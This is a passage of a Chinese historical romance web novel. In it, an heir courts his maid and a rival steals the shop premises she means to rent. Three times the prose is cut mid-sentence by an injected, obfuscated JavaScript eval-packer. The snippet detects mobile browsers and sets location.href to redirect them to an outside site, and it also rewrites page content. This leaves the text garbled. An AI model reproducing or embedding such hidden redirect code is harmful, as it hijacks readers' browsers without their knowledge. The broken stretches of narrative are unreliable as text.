——平时挺机智的一个人，怎么一到这种事情上，就成了榆木脑袋？ 简直和世子一个德性，两人不愧是好友！ 不过事情终于出现转机，世子也有了开窍的迹象，程思弼到底是心怀一畅，当下也懒得同薛坚计较，轻啧一声：“我不过是开个玩笑，你看你，急什么？” 薛坚依旧黑着脸，极为瞧不上地冲程思弼一叉手：“慢走不送。”撂下这句，转身大步离开。 程思弼站原地一脸迷茫：“今天怎么回事？一个两个，怎么都跟乌眼鸡似的？” * 帝京城南，凌州宿卫军驻京衙门。 桌案前，元琛两眼放空，一手捏着茶盏，另一只手食指轻轻敲打着桌面。 如果将那个契约续期，沈妍那么爱钱，多半会同意吧？ 这念头一起，他脑中却不由自主浮现出那日沈妍泪眼婆娑向他道谢的模样，最终缓缓摇了摇头。 那至少也要先把人留住——虽然眼下还用不着她做什么。 就是这样。 只要沈妍不开口说走，她本就是他的女使。 那么问题来了：怎样才能让沈妍暂时放弃离开王府的想法？ 边思索，元琛边将茶盏凑近嘴边。 前方，忽有人道了声：“世子——” 元琛抬眼，只见长庚指着他手中的茶盏，咧嘴，“——空的。” 闻言，元琛垂眸看了一眼，随即神色尴尬地将茶盏撂在一旁。 长庚已上前给他斟茶：“世子最近有什么心事？” 元琛神色闪了闪，清清嗓子：“问你件事——”说着一顿，若有所思，“如果一个女子，不愿意留在一个男子身边，通常会是什么原因？” 长庚出身市井，家中姊妹众多，为人也够机灵，对这种事多半会有些主意吧？ 只是他这话问得没头没尾，长庚闻言，也只是泛泛答道：“原因多去了，或许是不喜欢，或许人家有了更好的归宿，当然，也可能是男方难以相处。” 对于前两点，元琛对自己很有信心，也了解沈妍，所以，他在心里摇了摇头。 至于第三点…… 他很难相处吗？ 回想沈妍之前和他说话的样子，好像确实透着些许畏惧和小心翼翼…… 念及此，他不禁愣住，片刻又问长庚：“那你知道有什么挽回的法子？” 长庚：“那自然是要对人家好一点。女人嘛，就得哄一哄。” “怎么哄？” 话落，长庚忽然好奇地打量元琛：“世子有心仪的女子了？” 元琛神色一僵：“……是我的一个朋友。”言罢又不耐烦，“说重点！” 长庚于是凑近他，老神在在：“小人觉得，可以这么办……” 须臾，元琛呷一口茶，心领神会地点点头。 长庚好奇：“世子这位朋友，小人认识吗？” 话音落下，元琛突然被茶水呛住。 等喘匀了气，他过河拆桥地瞪长庚：“你哪那么多废话？” * 帝京知名酒家，白家楼。 沉香袅袅，清幽怡人的雅间内，沈妍不安地坐在桌前，瞥了一眼满桌子精致菜肴，又看向对面一袭月白常服，玉颜含笑的卫世子，眼中的疑惑呼之欲出。 ——请她“吃顿便饭”？ 还有，她在世子眼中，食量这么大吗？ 此刻，元琛狭长的凤眸正闪着蛊惑的光，配上那张过分好看的脸，忽然叫沈妍有些不敢直视。 垂下眼睫，她细白的指尖不安地搅着手中的画帛。 “尝尝看，凉了便不好吃了。”元琛一开口，连声音都透着一反常态的温柔。 沈妍：“……” 出什么事了？ 为何她莫名有种吃断头饭的感觉？ 她快速回想了下，确认自己最近并未招惹卫世子，但仍忍不住一阵心虚。 四下扫视一圈，又向门口瞄了一眼，她语气迟疑：“就……只有我们两个？” 话音落地，元琛面色微沉：“你还希望有谁？” 沈妍打量他神情，急忙摇了摇头。 元琛似乎意识到什么，神色和缓下来，朝满桌菜肴比比手。 虽然这段日子两人相处还算融洽，但元琛像眼下这般，特意腾出时间，单独请沈妍吃饭，还搞这么大排面，却是破天荒头一回。 再配上他过于反常的温柔和煦，沈妍瞬间意识到其中必有蹊跷。 她起身离席，冲元琛叉手一礼，神色郑重：“世子，您有什么事大可直言，妾蒙世子大恩，定尽所能——” 元琛扶额：“无事，咳咳……只是觉得这段日子，沈娘子起早贪黑照料本世子委实辛苦……吃顿饭而已，莫要见外。”言罢扯扯嘴角。 看着面前祸国殃民的脸笑得春风和煦，沈妍觉得越发不真实了。 ——该不会是鸿门宴吧？ * 还真不是。 直到这顿饭结束，二人从白家楼出来，整个过程都无毒无害无事发生。 元琛请沈妍吃完饭，说自己还有点事要办，嘱咐长庚驾车先送沈妍回府。 沈妍知道长庚是元琛心腹，对于今日的异常，路上，她打算从长庚处探问一下。 还未开口，长庚先同她闲聊起来：“听郑嬷嬷说沈娘子准备开店了？一切可还顺利？”车辕上，他边驾车边问。 “还行，想法倒是清楚了，就是有一大堆琐事要办。”沈妍坐在轿中答。 长庚赞叹：“沈娘子一个女子，竟有这般独当一面的魄力，真是了不起！” 沈妍谦虚了两句，思索片刻，还是开口问道：“对了，长庚，世子最近是不是遇上了什么麻烦？” “啊？”长庚一讶，“沈娘子何出此言？” 他还能遇上什么麻烦？姚承嗣倒台，世子最近闲得都开花了。 “只是有些奇怪，”沈妍道，“比如，你有没有觉得，世子对下属的态度各方面……有明显好转？” 长庚：“？” 有这事？他怎么一点没觉得。 挠挠头，他脑中忽闪过数日前元琛在南衙问他的那个问题。 刹那间，他恍然明了什么。 ——早怎么没想到？ 世子口中的那个女子，远在天边，近在眼前啊！ 继而，长庚又想到自家那位主子的性情，要让他主动开口挽留沈娘子……长庚想到这，费力地咂了下嘴。 是时候他亲自出手了！ 干咳一声，长庚笑盈盈对沈妍道：“没事没事，沈娘子想多了。”一顿后，又道，“不过世子虽然没事，在下倒有件事，想求沈娘子帮忙。” “你请说。” 长庚：“只因数日前，官家有令，世子北归延期，刚好在下最近南衙那边有些忙，所以想请沈娘子在王府多留些时日，帮忙照顾世子……” 说着想起什么，他“哦”了声道，“你也知道，世子白天大都不在府中，期间沈娘子大可找房子，租店铺，忙自己的事——怎么样？不妨考虑一下？” 沈妍不假思索，笑言：“没什么可考虑的，就依你所说——只要世子不反对。” 本来，她搬家也不急在一时，元琛之前帮过她那么多，如今终于有她能出力的地方，那还有什么好犹豫的。 长庚：“那太好了！” 世子反对？他巴不得你一直不走才好呢。 * 本来长庚还担心沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102561|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妍会难为情，主动提出由他向元琛言明此事。 不料沈妍倒是丝毫不介意，还说由她当面与元琛说清楚比较好。 于是两人商定，等元琛下朝后，沈妍亲自同他讲。 书房桌案前，正在笔走龙蛇的元琛，忽察觉前方有道视线盯着自己。 掀起眼皮，他看沈妍欲言又止的样子，似乎有话要说，于是边落笔边问：“有事？” 沈妍抿了抿唇：“世子可还记得，妾上次求您恩典的事？” 元琛闻言，手上一滞——一滴墨汁滴落在宣纸上，慢慢晕染开：“你要走？” 他面上看不出什么情绪，沈妍却不知为何，觉得世子声音比平时显得低沉无力——不知是否遇上了什么不好的事。 她摇头：“听长庚说世子北归延期，妾因为有些私事尚未办妥，想在府中多留些时日，不知世子是否还需要女使？” 照顾人这点小事，沈妍并不想让元琛承她的情。 话音落下，元琛深潭般的眸底似有光华一闪。 下一瞬，他垂下睫羽，掩住眸底的情绪：“当然。”言罢又轻声补了一句，“——你想留多久都没关系。” “谢世子。”沈妍向他叉手一礼，“那就到世子北归之日如何？” “好。”元琛面色无波，却很快答道，只是等沈妍走后，眼尾眉梢一点点扬起来。 长庚站在书房门口，看见这一幕，笑得一脸慈祥。 ——他这个贴身侍卫，真是为世子的幸福操碎了心。 * 两日后，沈妍去逛东市，打算看看有没有铺面出租。如果位置、价钱各方面合适的话，她便可顺手拿下。 行至一市井繁华处，忽听身旁有人喊“沈娘子”。 沈妍循声望去，见是晋国公府时的旧识丁香娘子。 她和丁香大约同期进入姚府，二人年纪相仿，脾气相投，彼时又同住在晴雅轩，故而相互间素有彼此照拂的情意。 “真没想到能在这里遇见你。”沈妍拉着丁香的手，忍不住感慨。 随后，两人找了家茶肆坐下慢慢聊，各自道出分别后的经历。 丁香道：“姚府被抄后，我和一批家姬原本要被送进教坊司，是卫世子替我等求情，才得以幸免。” “卫世子？”沈妍惊讶脱口。 丁香说是，“听放走我们的军官说，卫世子私底下向官家求情，念我等入府时日尚短，又大都是被迫进入姚府的受害者，故求官家从轻发落。结果，我们这些最晚入府兼身上没有案底的家姬均被官家开恩赦免。” 沈妍闻言仍有些不可置信。想不到那个冷情冷性、出手便除掉了权相的卫世子，竟还有一副侠义心肠。 又想到她初入王府时，时常担心哪天惹世子不悦，会惨遭灭口。 此刻方恍然，他对素昧平生的姚府家姬尚能如此，何况是帮过他的自己？ 听见丁香叫她，沈妍回过神来，问丁香眼下住在何处？日子过得如何？ 丁香说她如今在工部尚书府上做二等女使：“日子还过得去，至少不必提心吊胆哪天突然被砍头了。”言罢又问沈妍近况。 沈妍自是不能提契约之事，只道仍在卫王府做女使。 随后她说打算等卫世子回北境后，独自开店营生。 丁香听后羡慕不已：“你有胆有识，又有一技之长，早晚能过上自己想要的生活。” 沈妍打量她艳羡中似有感伤，想了想，试着开口：“那你想不想一起？” 丁香愣住，再开口时，兴奋的语气带着怕被拒绝的迟疑：“我……可以吗？” 沈妍冲她微笑颔首：“只要你想。” 闻言，丁香圆眼睛漾起一层水光，眸底又像燃起一簇火焰，双唇发颤：“想，想的。” 15. 撑伞 沈妍没几日便将丁香赎了出来。 因丁香并非奴籍，与工部侍郎府签得也是活契，赎她只需给雇主补些银两即可。 稍后两人在距离卫王府不远的升平坊找了家客栈。 沈妍一口气预付了半年银两，安排丁香踏实住下。 二人商议，等租好店面后，再看是直接宿在店里方便，还是一起另找住处。 安顿好丁香后，沈妍着手开店事宜。 为加快进程，两人决定分头行动。沈妍负责租店铺，找作坊，解决原料供应，丁香则负责找伙计雇人。 店铺的位置沈妍都想好了，认为还是要开在客流大、贵人娘子们相对集中的东市一带。 尽管东市有凝香楼并几家胭脂铺子，竞争相对激烈，但沈妍对自家的东西还是很有信心。 这日终于看中一家临街的药铺，老板因经营不善决定将店铺出租。 沈妍看好这家店的位置，觉得价钱也还算合理，于是当场付下订金。 办完事后出门，已近暮鼓时分。 外面铅云低垂，周遭甚至能闻见淡淡的水腥气，眼看憋着一场大雨。 沈妍见状，不由加快了脚步。 这个时节的雨说来就来，几声闷雷响过，豆大的雨点噼里啪啦砸下来。 沈妍午后出门时天还只是微阴。因为没计划出来多久，她便没有带伞，结果却因为租铺子耽搁下来。 外衫很快染上斑驳的水痕，她四下张望一番，忙一溜小跑，躲到坊门附近一家店铺的廊檐下避雨。 不料这雨竟下起来没完没了——由暴雨，转中雨，大有一发不可收的势头。 沈妍站在廊檐下，微仰着头，满目愁容地盯着潇潇雨幕。 远处街心，一架青棚马车在雨中行进。 车内，元琛忽想起什么，问前方驾车的长庚：“沈娘子是不是说过今日出门？” 长庚道是，“她说来东市看店铺，这会儿应该已经回府了。” 元琛“哦”了声，不再说话。 须臾，却还是伸出手臂，长指将轿帘挑开一线。 刹那间，他目光一滞。 伴随着突如其来的“停车”二字，长庚勒停马车。 下一瞬，只见世子弯腰钻出马车，撑开油伞，大步朝坊门边一道玉色身影而去。 长庚用力眨了眨眼，隔着雨雾，终于看清楚那廊檐下站着躲雨的是谁了。 “世子眼力真好！”他忍不住小声嘀咕。 此刻街上行人越来越少，附近屋檐下，几个像沈妍一样没带雨具，就近躲雨的，也连接被家人、朋友接走了，最后只剩沈妍孤零零一人站在那，等着雨停。 大概人越是在这种时候，越容易想起一些不开心的往事。等着等着，她神色慢慢暗淡下去。 不知过了多久，前方忽然雨声骤响——是水滴敲打伞面的声音。 沈妍醒过神，略略抬头，一柄素色油伞率先映入眼帘，随即是油伞下长身玉立的卫世子。 他穿着一袭苍青色襕袍，一言不发地站在油伞下，在烟青色天幕衬托之下，犹如一幅清冷、舒淡的水墨画。 只不过，那对雕塑般立体深邃的眉眼，此刻不知因为光线，还是氤氲着水汽，显得沉静且柔和。 这么瞧着他，沈妍不觉有些出神，须臾，诧异地问元琛：“世子怎会在这？” “碰巧经过。”元琛声色淡淡，听不出什么情绪，言罢略一偏头，“走吧。” 沈妍这才注意到，不远处街心停着的马车，与此地尚隔着好一段距离。 世子居然就这么冒雨走过来了？何不叫马车再往前多走一些？ 来不及细思，元琛已伸臂把伞擎过来，沈妍连忙上前一步，躲到伞下。 莫名有种如在梦中的恍惚……她，居然也有人接。 忽又想到让堂堂卫世子帮她举伞，实在有些不像话，于是提议：“世子，我来撑伞吧？” 话音落下，元琛举伞的动作未变，只是慢吞吞转过头来，凤眸微垂，似笑非笑的眼神仿佛在说：你确定？ 沈妍一愕，脑中随之浮现出一个画面：她踮着脚，边走路，边伸长胳膊，把伞高举过头顶的滑稽模样…… “还不跟上？”元琛忽道。 沈妍这才发觉，自己不知何时落后了一块，忙紧走两步，终究没好意思再提撑伞的事。 只不过，如此便要与卫世子并肩而行。 沈妍长这么大，从未这般靠近过一个男子。 行走间，两人的手臂有时会不小心轻轻触碰。 沈妍觉出旁边那只手臂跟自己的有很大不同，触感坚实有力，仿佛钢铁做成。 卫世子略烫的体温将他身上的雪松香幽幽散出，在这样的雨天，伞下小小空间内，格外清新好闻。 即便一路沉默，不声不响，卫世子依然是那个让她不可忽视的存在。 沈妍走在他身侧，脸颊不由自主地发热起来。 终于来到马车边。 长庚披着蓑衣，头戴斗笠坐在车前，看见沈妍，笑着冲她点头，打了声招呼。 元琛仍擎着伞，示意沈妍先上车。 这次沈妍不再同他客气，闻言，手脚麻利地钻进车厢。 元琛随后进来，坐在车内离她最远的一处。 沈妍听见他呼吸加重，原本白皙的脖颈、耳尖也微微泛红，似乎有点闷热。 刚好车里有她早起冲的凉茶，她于是问道：“世子要喝凉茶吗？” 经她提醒，元琛这才注意到嗓子确实有点干。 点点头，他从沈妍手中接过凉茶，润了润喉，心里庆幸好在沈妍听不见他的心跳。 * 车子启动，两人不约而同地陷入沉默。 大约刚经历了共乘一把伞的尴尬，此后谁都没再找什么话题，一路安静地回到王府。 直到各自换好衣服，沈妍来到书房，元琛终于率先开口：“我明日要去趟中州，大概十日后回来。” 沈妍了然点头：“世子此去需要带女使吗？” “不用。”元琛道，“有长庚在就好。”一顿又道，“这期间，你开店如遇难处，可找薛坚帮忙。” 沈妍一愣，没想到世子百忙之中，竟还能分出神来关心一个女使的琐事。 闻言，她连忙向元琛道谢。 “有事飞鸽传信给我。”元琛又道。 沈妍知道他所言“飞鸽”指的是偶尔落在窗口的那只信鸽。 此前她常看见元琛从鸽腿上取下信件。 可她能有什么事，会劳烦到世子头上？ 而且，不过才十天而已，叫他这么一说，倒好像有一年半载似的。 不过，虽讶异于元琛的反常，她心里还是暖烘烘的，情不自禁轻轻扬起唇角。 又听卫世子补充，“顺便喂喂那只鸽子。” 沈妍扬起的嘴角僵住——这才是他真正想说的吧？ 不多时，看沈妍出门，元琛不禁摇头，嘴角略过一缕无奈。 飞鸽传信那句，连他自己都觉得荒唐，没想到不经意脱口而出。 此前从未干过嘴比脑子快的事，这种失去控制的感觉，在他心头激起一阵窘迫和异样。 幸而及时找了个“喂鸽子”的借口搪塞过去…… 片刻后，他却又轻轻一哂：她又怎会写信给自己？ *35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132216|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 翌日清晨，沈妍将元琛送至王府大门外。 去中州的东西昨晚已连夜打包好，由长庚运上马背。 此刻，沈妍看着元琛翻身上马，方后知后觉意识到，卫世子马上要走了。 本来，她该庆幸少一项工作，不必再小心翼翼伺候人，或是应付卫世子阴晴不定的心情。 可不知为何，元琛离开，她心里却并不似想象中轻松。 相反，她感到一阵空落落的寂静，仿佛一下子少了点什么。 “世子路上小心。”她听见自己声音干涩地说道。 元琛正要策马离开，闻言似有些诧异地转过头来，向她慢慢颔首，随即勒转马头，与长庚纵马驰远。 目送他的身影消失在长街尽头，沈妍心中那种“少了点什么”的感觉越发强烈。 她不禁想—— 难道她对卫世子竟生出了些许不舍？ 还是因为这段时间朝夕相处已经养成习惯？ 念及此，她不由心下一凛，忙甩甩头，将这个不合时宜的念头从脑中赶走。 重新将思绪拉回店铺生意上，沈妍想起昨日丁香冒雨过来送信，说她找到了一个可做掌柜的人选，约沈妍得空详谈。 沈妍之前设想过，口脂店一旦开业，她的精力将主要放在口脂研制与制作工艺环节。 至于经营方面，她想雇一名经验老到的掌柜帮忙打理，之前也曾让丁香留意此事。 回府简单收拾了一下，她出门去悦来客栈找丁香。 事不宜迟，两人碰面后很快在巷口雇了辆骡车，由丁香指路，去城东一处民宅拜访她口中的那位掌柜人选。 路上丁香对沈妍详细说起此人。 他叫刘骥云，曾受雇于京城瑞和祥布庄，期间从小伙计一路升任掌柜。 不想后来瑞和祥的东家触了某位权贵的霉头，被人误告获罪。 刘骥云和东家一并被官府带走审讯。 后来，东家一应财产尽被抄没，布庄也散了。 刘骥云倒被无罪释放，只不过经此一事，他心灰意懒，至今未在找相关营生，眼下仅靠售卖自制竹笛为生。 丁香的父亲生前曾是伯爵府管家，进入姚府前，她跟随父亲同刘骥云打过不少交道，故而知晓此人的本事。 而且，瑞和祥布庄的名头在京中无人不晓。即便常年关在闺阁如沈妍，也知道其经营范围包含布匹、刺绣、成衣，可说曾经包揽了大半个京城人的穿戴。 能将这么大一家布庄经营得风生水起，这个刘骥云确实不简单。 故而在客栈听丁香提及，她便下决心请此人出山。 半个时辰后，骡车停在京城东郊一处民宅门前。 沈妍本以为在大店当过掌柜的人定然心高气傲，又经历坎坷，只怕不易相邀，却没想到刘骥云竟是位极和善的老者。 沈妍同他说出自己的打算，也聊了对店铺经营的看法，结果两人越说越投缘。 刘骥云从竹椅上站起身，朝沈妍恭敬叉手：“刘某本欲潦倒此生，有幸遇见东家，承蒙看重，愿为东家效犬马之劳。” 沈妍忙起身施礼：“那我便在点绛唇恭候刘掌柜了。” 二人又详谈了之后雇伙计、开店、经营细节。 事后，刘骥云送沈妍和丁香出门。 丁香看此事尘埃落定，脸上难掩兴奋。这段日子总算没白忙一场。 沈妍却不知怎么，脑中不时闪过卫世子昨晚反常的啰嗦，虽然也为请到刘掌柜感到欣慰，内心某处却总有些提不起兴致，仿佛忘记了什么重要的事。 正要离开刘家，她忽想到什么，问刘骥云：“此处是否距云津河不远？” 16. 长亭 刘骥云点头，抬手向东一指：“出了村口便能看见。” * 由于今日一早出门，元琛的时间很充裕。他和长庚先在城中办了点事，事情办妥，方不紧不慢往云津河码头赶。 此去中州，从云津河乘船是最近路线。 这会儿前往送行的侍卫在河边饮马，剩下随元琛同行的几个人聚在一处说说笑笑，等着开船。 元琛则站在距他们较远处，独自望着河面出神。 旁边，长庚安安静静站着，随时候命。 他清晰地察觉到世子这段时间的变化。 从前，世子无论做任何事，都仿佛心无杂念，整个人犹如一把冷硬、锋锐的利刃，如今却有很大不同。 具体他也说不上来，总感觉世子虽然就在眼前，心思却不在这里。 事实也的确如此。 比如眼下，面对着河水汤汤，元琛心中想的却是另外一件事。 他知晓沈妍的开店计划，此行回来，或许还赶得及送她一份贺礼。 想到那对亮晶晶的杏眼，元琛对着水面上的粼粼波光，慢慢扬起唇角。 “王爷上次得的紫胶是不是从中州运来？”他忽然开口。 “回世子，正是。”长庚道，“暹罗国常有上好的紫胶经由水路运至中州，再转运至各处。” 紫胶是制作胭脂、口脂及各种养颜用品的顶级原料。 长庚不必问也知道世子想做什么。 侧头打量元琛，他挑眉，“世子是不是在想——” “没有。”元琛神色闪了闪。 长庚：“……”他还没说想什么呢。 不过瞧世子这副模样，也不用说了——除了沈娘子，还能在想什么？ 二人说话间，一阵笛声从不远处的长亭方向传来。 笛声清越悠远，细辨下，更是丝丝缕缕，缠缠绕绕，像愁绪织就的网，又似夹杂着若有若无的牵绊。 元琛寻声望去，一位素衣女子立在长亭中，手中依稀横着一杆碧绿的竹笛，眼望着他们这边。 “世子，”长庚在旁喃喃，“那个长亭中的女子好像——” 话音未落，元琛早已经一骑绝尘，直奔长亭而去。 望着马蹄溅起的轻尘，长庚眨眨眼，摇头叹息，“还说没想。” 元琛一口气奔至长亭外，下马时甚至微微有些气喘。 隔着长亭，他和沈妍四目相对。 亭内，此刻已化作透明的丁香，看看这个，又看看那个，继而恍然意识到自己好像不该站在这儿。 沈妍见元琛面露诧异，有些不自在地解释：“妾今日碰巧来城东办事……刚好赶得及送世子一程。” 元琛幽深的眸底一点点染上笑意。 这笑意慢慢变得灼烫，他身躯微微前倾，骨节分明的长指紧紧扣进手心，似乎费了很大力气，才忍住没再继续上前。 直勾勾望着沈妍，他声线低沉：“等我回来。” 沈妍点头，冲他弯唇一笑。 元琛转身跃上马背，这次却是策马缓行，没走出多远又停住，回头望向身后的长亭。 沈妍于是又朝他挥挥手。 元琛也学着她的样子抬臂挥动了两下，只不过动作略显僵硬。 ——这本不是他平常会做的事。 意识到自己的反常，元琛愣了愣，最后深深看了沈妍一眼，拔转马头驰向河边。 * 翌日，沈妍兑好银票，如约去王掌柜的药店交钱收铺子，却不想事到临头王掌柜居然反悔了。 “实在对不住，情况有变，您再去别家找找吧。”王掌柜道。 沈妍愣住，片刻不甘心道：“王掌柜，咱们之前不是都说好了？订金我都交了。” 她说话间，王掌柜朝她递上一张银票，“这是之前的订金，如数退还。”又另外掏出一张，“这是一点补偿。” “这……”沈妍根本不想要什么补偿，她想要的是这间铺子。 这家店是她迄今为止最满意的一家，是她快跑断了腿，对比过好多家店铺之后，精心挑选出来的。 深吸一口气，她控制着情绪问王掌柜，“我能知道是什么原因吗？” 王掌柜面色有些不自在，摇头道：“抱歉，我还有事，恕不奉陪。”说着吩咐身后的家仆，“春来，送客。” 沈妍：“……” 煮熟的鸭子，就这样莫名奇妙飞走了？ 从王掌柜店里出来，沈妍窝了一肚子火。她实在没想到王掌柜会突然反悔。 这下可好，找了那么久，竟是白费力气。 不过这种事，虽说她交了订金，双方毕竟尚未完成交易。 纵使闹到官府，也不过是来回扯皮一通，至多对方再赔给她一点钱罢了。 她也没时间为此再耽误工夫。 想通此节，沈妍最终咬牙认栽。 从王掌柜店里出来，沈妍听见前方“哎呦”一声。 她闻声抬眸，只见李胭娘和她的女使从街边走来。 人要倒霉，真是喝口凉水都能塞牙。 默默收回视线，沈妍心中暗道晦气。 李胭娘却已朝她走来：“这不是沈娘子么？好巧。”她说话间拖着长长的尾音，边走边皮笑肉不笑打量沈妍，“怎么自己出来跑生活？卫世子这么快就腻了？” 沈妍这会儿没心思同她拌嘴，只当作没听见，继续赶路。 不小心被狗咬了，也没必要非得冲上去咬回来。 她身后，李胭娘依旧不依不饶，一甩帕子，阴阳怪气：“看来长得好看也不能当饭吃啊。”显然还在为杏园宴的事气不顺。 一个念头在沈妍脑海一闪，她脚步顿住。 李胭娘生意并不清闲，今日怎么有空出来闲逛？两人还好巧不巧在这里遇见。 进而，沈妍想起李胭娘主仆原本要去的方向。 ——正是王掌柜的店铺。 转过身，她盯着李胭娘，目光锐利：“是你租了这家店？” 李胭娘掩口轻笑，纠正她，“——不是租，是买下来。”她扬起下巴，趾高气扬，“因为我开了一个店主拒绝不了的价钱。” 言罢，她故意假模假式夸赞沈妍，“话说，你眼光还真不赖。这家店的位置、大小，刚好适合凝香楼开分店，谢啦。”说完勾唇一笑，扭身带着女使跨进门槛。 望着李胭娘春风得意的背影，沈妍慢慢捏紧手指。 ——她冒着大雨定下来的店铺，就这么生生被抢走了？ 前方，李胭娘边走边低头吩咐菊芬：“叫人盯着她。” * “今日如何？那家店铺交接完了没？”悦来客栈，丁香问沈妍。 沈妍没精打采地摇摇头，连肩膀都耷拉了下去。 丁香大感诧异，忙问她出了什么事，沈妍于是说了店铺被李胭娘截胡的经过。 期间丁香越听越来气，最后扯着嗓子直嚷嚷：“怎么会有这种人？破坏契约，专门从别人手里抢东西，还有没有王法了？” 又大骂王掌柜，“明明都已经说好，还交了订金，这无良商人，竟临阵反悔，哼！活该这种人做什么都亏本！” 沈妍低叹一声，虽说道理如此，可店铺到底是没了，只能再另找合适的。 谁知她随后看中的一家店铺，下场也大同小异。 前脚还同店主谈得好好的，后脚见面，对方便改了主意。 这种事情遇到一次，还可说成偶然，接连两次，实在有些不寻常了。 事出反常必有妖。 沈妍虽尚不能肯定背后就是李胭娘在捣鬼，但对方能搅合一次，未必便不会有第二次。 丁香得知此事，气得要去找李胭娘大闹，却被沈妍阻止：“凝香楼人多势众，背后又有高门撑腰，咱们去闹，非但讨不到半分便宜，搞不好还会被倒打一耙。” “那怎么办？总不能瞪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149438|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛叫人欺负。”丁香气恨难消，忽想到了什么，对沈妍道，“对了，能不能请卫王府的人帮帮忙？李胭娘欺软怕硬，谅她知晓世子注意到此事，绝不敢再使坏。” 沈妍却立刻否定了这个提议。 虽说元琛临走前交代过，让她遇事找薛坚，但这毕竟是她生意，日后她的店要在京城立足，难免还会遇到这种事，总不能处处指望元琛。 且不说人家用不了多久就要回北境，即使留在京中，她欠他的人情也已经够多了。 沉默片刻，她心生一计，朝丁香勾勾手指，对她说出了自己的计划。 * 当日晚些时候，凝香楼一间茶室。 菊芬从廊道上快步入内，径直到李胭娘跟前报告：“主子，姓沈的今日去了悦来客栈，经查，去见的是个年轻女子。” 李胭娘听后鼻子里轻哼一声：“无妨，眼下卫世子不在京中，谅她掀不出什么风浪。” 她常与高门打交道，深知这些世家子弟的做派，对身边侍妾的宠幸来得快，去得也快。 看来清冷孤傲的卫世子也不例外。 距离上次杏园宴这才过了多久？ 姓沈的便独自出来，卖力地讨生活，显然，卫世子对她已不甚在意。 卫世子身为凌州兵马使，早晚要回北境，他若真在意姓沈的，来日必定要将她带走。如此，她还在京城开什么店？ 再者，此女出自姚府，不久前姚承嗣折在卫世子手里，李胭娘事后想来，彼时卫世子未必不是逢场作戏。 如今姚承嗣倒了，按常理，他对姚府出来的人，即便不赶尽杀绝，多半也只剩下厌弃。 想到那女人不知天高地厚，杏园宴上对自己那般嚣张，李胭娘眼中染上一抹狠意。 数日后，同一间茶室。 “主子，姓沈的被我们逼得只能去参加竞拍了。”菊芬一脸兴奋，“刚我从市丞那看到竞市名单，上面有她。” 李胭娘点头，捏着茶盏，嘴边勾起一抹得意：“明日我要亲自去会会她。” * 东城，竞卖行内人满为患。 今日这场由官府主办的竞卖，有不少是官方积压的物品和产业。 沈妍随着一众参与竞市的商户陆续往里走，进门后正准备对号入座，侧前方横过来一道身影，堪堪挡在她身前。 正是李胭娘。 沈妍顿足，眉心微皱，清凌凌的声音透着不悦：“又是你。” 李胭娘捏着帕角在唇边掖了掖，笑得一脸得意：“沈掌柜，我们还真是有缘呢。”一顿后，她明知故问，“怎么都来竞拍了？看来店铺还没租到？” 沈妍赖得理她，沉着脸道：“让开。”说着径直撞开她肩膀，走向自己的位置。 她身后，李胭娘揉着肩哼笑一声，眸底染上一抹阴沉。 竞拍很快开始。市丞首先主持竞卖了几样贵重物品。 沈妍对这些不感兴趣，故而并未举牌，只是坐在下面瞧个热闹，长长见识。 终于等到她关心的铺子时，她这才打起精神，坐直了身子。 市丞介绍，即将竞拍的铺子是不久前查抄的姚府产业，充公后这是首次由官府对外竞拍。 店铺位置自是得天独厚，上风上水，又处在东城客流最充足的黄金地段，但目前仅对外租赁，官府定的初始价为每年租金二十两银。 这租金听着着实有些高，再加点钱，都能在京郊偏远地带卖一处小民宅了。 不过鉴于它的位置，对于部分商户而言还是物有所值。 市丞介绍完后，进入竞价举牌环节，场下不住有人争相出价。 “二十二两。” “二十五两。” “三十两。” “三十五两。” 三十五两喊完，室内安静了几息，显然这价码已达在座众商户眼中的极限。 直到沈妍站起身，高高举起价牌：“五十两。” 17. 店铺 话音落地，周围一静，继而响起嗡嗡议论声。 “居然高出市价两倍多！” “这女子什么来头？年纪轻轻，怕是不懂行情吧？” “懂不懂行不清楚，但是真有钱，看来这家店今日非她莫属了。” “也不知她要做什么生意？这么高租金，能收回本钱吗？” 座下，李胭娘轻摇团扇，露出满意的神色：看来姓沈的这次真是被逼急了。 和她李胭娘作对？她要让那个女人哭都哭不出来！ 市丞开始唱价：“五十两一次，五十两两次……” “八十两。”李胭娘举牌站起，扬声说道。 受她打断，市丞才张开的嘴巴一僵，还没来得及发出声响，下一瞬便又缓缓合上。 李胭娘话落，在场一片哗然。 “这家店位置虽好，但能拍出这个价，也是史无前例了。” “没想到这店铺拍到最后，竟然是两个女子相争。” “那你说上一个女子还会举牌么？” “会。” “我赌不会。” 